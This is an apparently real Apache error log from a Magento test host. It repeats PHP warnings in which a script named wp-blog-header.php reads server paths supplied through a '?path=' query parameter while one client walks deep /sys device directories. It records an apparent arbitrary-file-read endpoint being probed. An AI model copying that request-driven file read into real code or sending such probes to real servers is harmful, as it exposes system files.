[Thu Mar 26 15:21:37.612991 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem
[Thu Mar 26 15:21:38.780453 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ce
[Thu Mar 26 15:21:39.196396 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ec
[Thu Mar 26 15:21:42.308919 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:fc
[Thu Mar 26 15:21:42.866943 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac
[Thu Mar 26 15:21:48.086361 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem
[Thu Mar 26 15:21:49.207826 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/drivers/ec
[Thu Mar 26 15:21:51.226761 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ba
[Thu Mar 26 15:21:54.967289 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:ae
[Thu Mar 26 15:21:55.481085 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:cc
[Thu Mar 26 15:21:56.540984 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:aa
[Thu Mar 26 15:21:58.779308 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fe
[Thu Mar 26 15:21:59.878060 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ba
[Thu Mar 26 15:22:03.085363 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:bc
[Thu Mar 26 15:22:04.660888 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:fe
[Thu Mar 26 15:22:05.209405 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 15:22:06.837815 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/device:ce/subsystem
[Thu Mar 26 15:22:11.560412 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ca
[Thu Mar 26 15:22:12.132609 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ca/subsystem/devices/device:ee
[Thu Mar 26 15:22:15.350237 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ea
[Thu Mar 26 15:22:25.052566 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fa
[Thu Mar 26 15:22:26.687772 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ba
[Thu Mar 26 15:22:27.165047 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 15:22:30.301445 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:bc
[Thu Mar 26 15:22:32.962644 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fa
[Thu Mar 26 15:22:34.066111 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:ac
[Thu Mar 26 15:22:34.515475 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 15:22:35.560683 2026] [php:warn] [pid 3106758] [client 74.7.241.26:37696] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ce
[Thu Mar 26 15:22:38.927866 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ea
[Thu Mar 26 15:22:41.640642 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:fa
[Thu Mar 26 15:22:42.775693 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:bc
[Thu Mar 26 15:22:43.249264 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem
[Thu Mar 26 15:22:45.467324 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:aa
[Thu Mar 26 15:22:51.321957 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/drivers/ac
[Thu Mar 26 15:22:54.406808 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:be
[Thu Mar 26 15:22:58.067044 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:ca
[Thu Mar 26 15:23:00.745231 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem
[Thu Mar 26 15:23:01.251755 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ac
[Thu Mar 26 15:23:03.415264 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ec
[Thu Mar 26 15:23:04.983454 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:bc
[Thu Mar 26 15:23:06.488629 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ac
[Thu Mar 26 15:23:07.059954 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:ba
[Thu Mar 26 15:23:07.583514 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 15:23:08.155576 2026] [php:warn] [pid 3236333] [client 74.7.241.26:58766] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ec
